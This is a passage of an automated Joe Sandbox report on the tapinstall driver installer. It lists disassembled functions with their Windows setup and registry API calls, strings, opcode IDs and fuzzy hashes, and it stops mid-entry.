                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: NameName::$Name::doName::operator+Pchar
                                                                                                                  • String ID: `non-type-template-parameter
                                                                                                                  • API String ID: 3026640183-4247534891
                                                                                                                  • Opcode ID: 2045f689735eeea40cce7efe3b8163e352433e1db3c7d53e5d39b0a4b2283e44
                                                                                                                  • Instruction ID: 04f2c45546455f0a67627b06b51b3fef73590544ab26deaffe0a9a639a5126c2
                                                                                                                  • Opcode Fuzzy Hash: 2045f689735eeea40cce7efe3b8163e352433e1db3c7d53e5d39b0a4b2283e44
                                                                                                                  • Instruction Fuzzy Hash: CF419132E0CA9299FB20EB11D4801BCB7A4BB90B80FD58135DA6D17BC5DF39E815C3A0
                                                                                                                  Function 00007FF7FEDD23C0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 84libraryloaderCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: FreeLibrary$AddressAttributesFileFormatFullLoadLocalMessageNamePathProc
                                                                                                                  • String ID: UpdateDriverForPlugAndPlayDevicesW$newdev.dll
                                                                                                                  • API String ID: 3199543795-3767700378
                                                                                                                  • Opcode ID: 04ab7d4148ff324d2fd50ef0ea174a2fd79d77ffbdc2d0a2a02e6489278d7139
                                                                                                                  • Instruction ID: c0f73ee47e85824cb3be61fa5c594019060d32f156c317750952198b771f81e2
                                                                                                                  • Opcode Fuzzy Hash: 04ab7d4148ff324d2fd50ef0ea174a2fd79d77ffbdc2d0a2a02e6489278d7139
                                                                                                                  • Instruction Fuzzy Hash: 99313222A0C68285FB61AF20F4957AAB360EBC4B40F944135DA6E47BD5DF7CE449C7A0
                                                                                                                  Function 00007FF7FEDDC60C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Name::operator+=$Decorator::getNameName::operator+$Name::Name::operator=ScopeScoped
                                                                                                                  • String ID: void
                                                                                                                  • API String ID: 3176039966-3531332078
                                                                                                                  • Opcode ID: 9e892f4fd707f0d60684168cfb52e33d9422594bf1c05951a142ce3f47b87fe0
                                                                                                                  • Instruction ID: 605a31a6777260c60052de50ab681720bb33f01b50ab8302199ac975dd466202
                                                                                                                  • Opcode Fuzzy Hash: 9e892f4fd707f0d60684168cfb52e33d9422594bf1c05951a142ce3f47b87fe0
                                                                                                                  • Instruction Fuzzy Hash: BF11A172A1C54685FB30AF24E4502B9F360BFD4784FC05131D5AE87AE9DE6CE506C7A1
                                                                                                                  Function 00007FF7FEE1EE2C Relevance: 10.8, APIs: 7, Instructions: 291COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3215553584-0
                                                                                                                  • Opcode ID: 3e9133d60d70ee4b184cf4df9feb1deb47fa9a1110e34a9b0a205f5e93016ed5
                                                                                                                  • Instruction ID: 940357bbdd2a71d2ceb6897cf897abf5b4c6c36821e0e410c5f45466e3f9ff6c
                                                                                                                  • Opcode Fuzzy Hash: 3e9133d60d70ee4b184cf4df9feb1deb47fa9a1110e34a9b0a205f5e93016ed5
                                                                                                                  • Instruction Fuzzy Hash: CAC1D122A0C68641F760AB15B4002BDBA60EFC0BA4F854175DA6F077D6CFBDE495C7E1
                                                                                                                  Function 00007FF7FEDD6700 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 156registryCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • SetupDiGetDeviceInfoListDetailW.SETUPAPI ref: 00007FF7FEDD672F
                                                                                                                  • SetupDiOpenClassRegKeyExW.SETUPAPI ref: 00007FF7FEDD676F
                                                                                                                  • RegCloseKey.ADVAPI32 ref: 00007FF7FEDD690B
                                                                                                                    • Part of subcall function 00007FF7FEDD4C30: RegQueryValueExW.ADVAPI32 ref: 00007FF7FEDD4C83
                                                                                                                    • Part of subcall function 00007FF7FEDD4C30: GetLastError.KERNEL32 ref: 00007FF7FEDD4C94
                                                                                                                    • Part of subcall function 00007FF7FEDD4C30: RegQueryValueExW.ADVAPI32 ref: 00007FF7FEDD4CF6
                                                                                                                    • Part of subcall function 00007FF7FEDD4770: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,00007FF7FEDD10DD), ref: 00007FF7FEDD47B7
                                                                                                                    • Part of subcall function 00007FF7FEDD4770: LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,00007FF7FEDD10DD), ref: 00007FF7FEDD480B
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: QuerySetupValue$ClassCloseDetailDeviceErrorFormatFreeInfoLastListLocalMessageOpen
                                                                                                                  • String ID: %s$LowerFilters$UpperFilters
                                                                                                                  • API String ID: 1933970874-1836264166
                                                                                                                  • Opcode ID: 2c9d6f15fb4d5093753cc64694a3814026eec7a59d5bbe1ac40501dd433a88c3
                                                                                                                  • Instruction ID: b2ad791bb802c0fb5e7a6ecf15811f7b48b174e2b59c3ceb4e30b2a16a1b8540
                                                                                                                  • Opcode Fuzzy Hash: 2c9d6f15fb4d5093753cc64694a3814026eec7a59d5bbe1ac40501dd433a88c3
                                                                                                                  • Instruction Fuzzy Hash: 49510C21E0924645FB797B61E4193BAE2419FC4B90FC84138DA3E4BBD7DE6CA84147F1
                                                                                                                  Function 00007FF7FEDD1160 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 152COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ClassSetup$BuildInfoList$DescriptionErrorFromGuidLastName
                                                                                                                  • String ID: %-20s: %s
                                                                                                                  • API String ID: 3437477559-1251934994
                                                                                                                  • Opcode ID: 8de683dbc796dd8caca86f2723ecdf9223d82be46d02b5834d92cca158fced3c
                                                                                                                  • Instruction ID: 9d623d2188cbc9d027b7fce38ed88105e27db529c1b4f34b0f266ebc6f0b1e13
                                                                                                                  • Opcode Fuzzy Hash: 8de683dbc796dd8caca86f2723ecdf9223d82be46d02b5834d92cca158fced3c
                                                                                                                  • Instruction Fuzzy Hash: 41517022B1968286EB70AF11E4447BAB3A4FBC4B80F844136DA9E47ED4DF3CE505C790
                                                                                                                  Function 00007FF7FEDDDD94 Relevance: 10.6, APIs: 7, Instructions: 134COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Name::doName::operator+Name::operator+=Pchar$NameName::Name::append
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3659116837-0
                                                                                                                  • Opcode ID: 6aaf8ef8ab975a96cade839fcc4cba8efc94d6294a4ba3211e0c36a2a6d5e19c
                                                                                                                  • Instruction ID: 8a6ff1d359028aab216dd67c8699002a1d381a21c0a111eb214bb3ebc5759517
                                                                                                                  • Opcode Fuzzy Hash: 6aaf8ef8ab975a96cade839fcc4cba8efc94d6294a4ba3211e0c36a2a6d5e19c
                                                                                                                  • Instruction Fuzzy Hash: 92616032A08A4198FB21DF24E8803BCBBA5AB84B48FD48135DA5E43BD9DF7DD445C390
                                                                                                                  Function 00007FF7FEDFF964 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: FileModuleName_set_error_mode
                                                                                                                  • String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
                                                                                                                  • API String ID: 3581924421-4022980321
                                                                                                                  • Opcode ID: 0d1e8a8cf0d7e4a4f35967af43162b7572eefee810724939d3ab0ebac19dc9a6
                                                                                                                  • Instruction ID: fe2141cb94d1ca0831097a1ae1c84b551f8c8abbd061ae339a3f5addb644c2a3
                                                                                                                  • Opcode Fuzzy Hash: 0d1e8a8cf0d7e4a4f35967af43162b7572eefee810724939d3ab0ebac19dc9a6
                                                                                                                  • Instruction Fuzzy Hash: FF41C122B0868385FB24EB22B8001BAE750AFD4B94FC44535DE3E87BD9DE7CE1058390
                                                                                                                  Function 00007FF7FEDD3A00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Setup$ClassDeviceInstallParams$CallDetailDevice_Get_InfoInstallerList
                                                                                                                  • String ID: %-60s: %s
                                                                                                                  • API String ID: 4184553637-3470069224
                                                                                                                  • Opcode ID: c50b428a501a26c9097843eac2ab180f505a000ca60ac8a98767d06fd166e556
                                                                                                                  • Instruction ID: 0527d9b33fba0fa55588ced4d6edf7f9507d2a2e7960b1e4f09bbd3ff7501cd3
                                                                                                                  • Opcode Fuzzy Hash: c50b428a501a26c9097843eac2ab180f505a000ca60ac8a98767d06fd166e556
                                                                                                                  • Instruction Fuzzy Hash: 1F314171A0868682F770AF11E8447AAF761FB84B84F804139CA5D47AD4DF7CD419CB50
                                                                                                                  Function 00007FF7FEDD27B0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67libraryloaderCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Library$AddressFreeLoadProc$AttributesFileFullNamePath
                                                                                                                  • String ID: SetupSetNonInteractiveMode$setupapi.dll
                                                                                                                  • API String ID: 1784877336-1268865691
                                                                                                                  • Opcode ID: 46b5fed04645d8eac7faa08d99b50c110e1da90dcc4f8194fdf02fdc9e3b2f99
                                                                                                                  • Instruction ID: 5ea5a278527f284f7f970a2063fcb776c9b69dd91183d0bf6149c2e266d97536
                                                                                                                  • Opcode Fuzzy Hash: 46b5fed04645d8eac7faa08d99b50c110e1da90dcc4f8194fdf02fdc9e3b2f99
                                                                                                                  • Instruction Fuzzy Hash: CF215126B0CB5182EB20AF16B840429E791BBC8FD4F810538EE9E47FA4DF7CD4458755
                                                                                                                  Function 00007FF7FEE2071C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                                                                                                  • String ID: CONOUT$
                                                                                                                  • API String ID: 3230265001-3130406586
                                                                                                                  • Opcode ID: b8a696af87e1db244be29ab8bf7f91a733210b6ee2ef81bc7abc92eec04a5109
                                                                                                                  • Instruction ID: 814fa1575ff49a0d8f9a13ea55d58e47671c98f7c3e57af56186fd24dc02c2ab
                                                                                                                  • Opcode Fuzzy Hash: b8a696af87e1db244be29ab8bf7f91a733210b6ee2ef81bc7abc92eec04a5109
                                                                                                                  • Instruction Fuzzy Hash: 55118731A18A4186F750AF06F854725B6A4FBC8FE4F400238DA6E877D4DFBCD8548794
                                                                                                                  Function 00007FF7FEE20584 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 41fileCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                                                                                                  • String ID: CONOUT$
                                                                                                                  • API String ID: 3230265001-3130406586
                                                                                                                  • Opcode ID: 7293e43c7665d0d01c90415b99719ea9fa37c371d7253cfd48f9f2110afdc670
                                                                                                                  • Instruction ID: 4a54920f23a33037491475daa06d7f4db3500ecaaedfb55311c4fa2a5a711acf
                                                                                                                  • Opcode Fuzzy Hash: 7293e43c7665d0d01c90415b99719ea9fa37c371d7253cfd48f9f2110afdc670
                                                                                                                  • Instruction Fuzzy Hash: C7119832A08A4586F7509F55F41472AB3A0F7C8BA8F504238DA6E4B7D8CFBCD8548755
                                                                                                                  Function 00007FF7FEDD3B40 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 255COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • SetupDiGetDeviceInfoListDetailW.SETUPAPI ref: 00007FF7FEDD3B8A
                                                                                                                  • CM_Get_Device_ID_ExW.SETUPAPI ref: 00007FF7FEDD3BB9
                                                                                                                  • CM_Get_DevNode_Status_Ex.SETUPAPI ref: 00007FF7FEDD3BE1
                                                                                                                  • SetupDiSetDeviceRegistryPropertyW.SETUPAPI ref: 00007FF7FEDD3E64
                                                                                                                    • Part of subcall function 00007FF7FEDD4770: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,00007FF7FEDD10DD), ref: 00007FF7FEDD47B7
                                                                                                                    • Part of subcall function 00007FF7FEDD4770: LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,00007FF7FEDD10DD), ref: 00007FF7FEDD480B
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: DeviceGet_Setup$DetailDevice_FormatFreeInfoListLocalMessageNode_PropertyRegistryStatus_
                                                                                                                  • String ID: %-60s:
                                                                                                                  • API String ID: 1934003045-769737362
                                                                                                                  • Opcode ID: de8e9d4bb21c2a1e4e45b1568ffa61b4194d45a09024fb21d31a3d48b576b7e1
                                                                                                                  • Instruction ID: 95ca455e031c5a2b0b7b2b4a87e03a18dacc71139ab9976a8320eacb5311e0fe
                                                                                                                  • Opcode Fuzzy Hash: de8e9d4bb21c2a1e4e45b1568ffa61b4194d45a09024fb21d31a3d48b576b7e1
                                                                                                                  • Instruction Fuzzy Hash: 62B19A22A08A8681EB70AF15A44037AF7A4FBD0B84F844235DA6E47BD5DF3CE45587A0
                                                                                                                  Function 00007FF7FEDE0034 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Name::operator+=$Replicator::operator+=
                                                                                                                  • String ID: ...
                                                                                                                  • API String ID: 3157425598-440645147
                                                                                                                  • Opcode ID: 8b1ea6b13d80497599b74a4f17c7f641e17d439436ac87c9fc46a30647371513
                                                                                                                  • Instruction ID: c17f6c99aa5e594e54cfb679d17689b2b31cc7c3afd46724f98eb1d987181678
                                                                                                                  • Opcode Fuzzy Hash: 8b1ea6b13d80497599b74a4f17c7f641e17d439436ac87c9fc46a30647371513
                                                                                                                  • Instruction Fuzzy Hash: F051C732E0864698FB15EB24E84837DBBA2ABC5B44FD48135C92D47AE5CF7DD441C3A1
                                                                                                                  Function 00007FF7FEE016E4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: AddressFreeHandleLibraryModuleProc
                                                                                                                  • String ID: CorExitProcess$mscoree.dll
                                                                                                                  • API String ID: 4061214504-1276376045
                                                                                                                  • Opcode ID: 0ccf8903cf5fd9aeb41b039fa9f1cb800aac3f93f93f03788acfe0ad99044ca6
                                                                                                                  • Instruction ID: 46d725fa605b31d36a0420674b8d4f1f9591fd8388a1ec5b2fd74a3bec778ada
                                                                                                                  • Opcode Fuzzy Hash: 0ccf8903cf5fd9aeb41b039fa9f1cb800aac3f93f93f03788acfe0ad99044ca6
                                                                                                                  • Instruction Fuzzy Hash: E8F03061E1964281FF456F51F4907749360AFC4744F88103AD66F491E4CFACE48C87A1
                                                                                                                  Function 00007FF7FEDE30D0 Relevance: 7.8, APIs: 5, Instructions: 289COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: AdjustPointer
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1740715915-0
                                                                                                                  • Opcode ID: 92d83d9b34f83b521a09ba5b49f4fa4ff0e4aabc531c5689a04bfc7cad77936e
                                                                                                                  • Instruction ID: 89a01a2decf9e350b687dfd80837d4de0795004921f68ee2f367e91431b55726
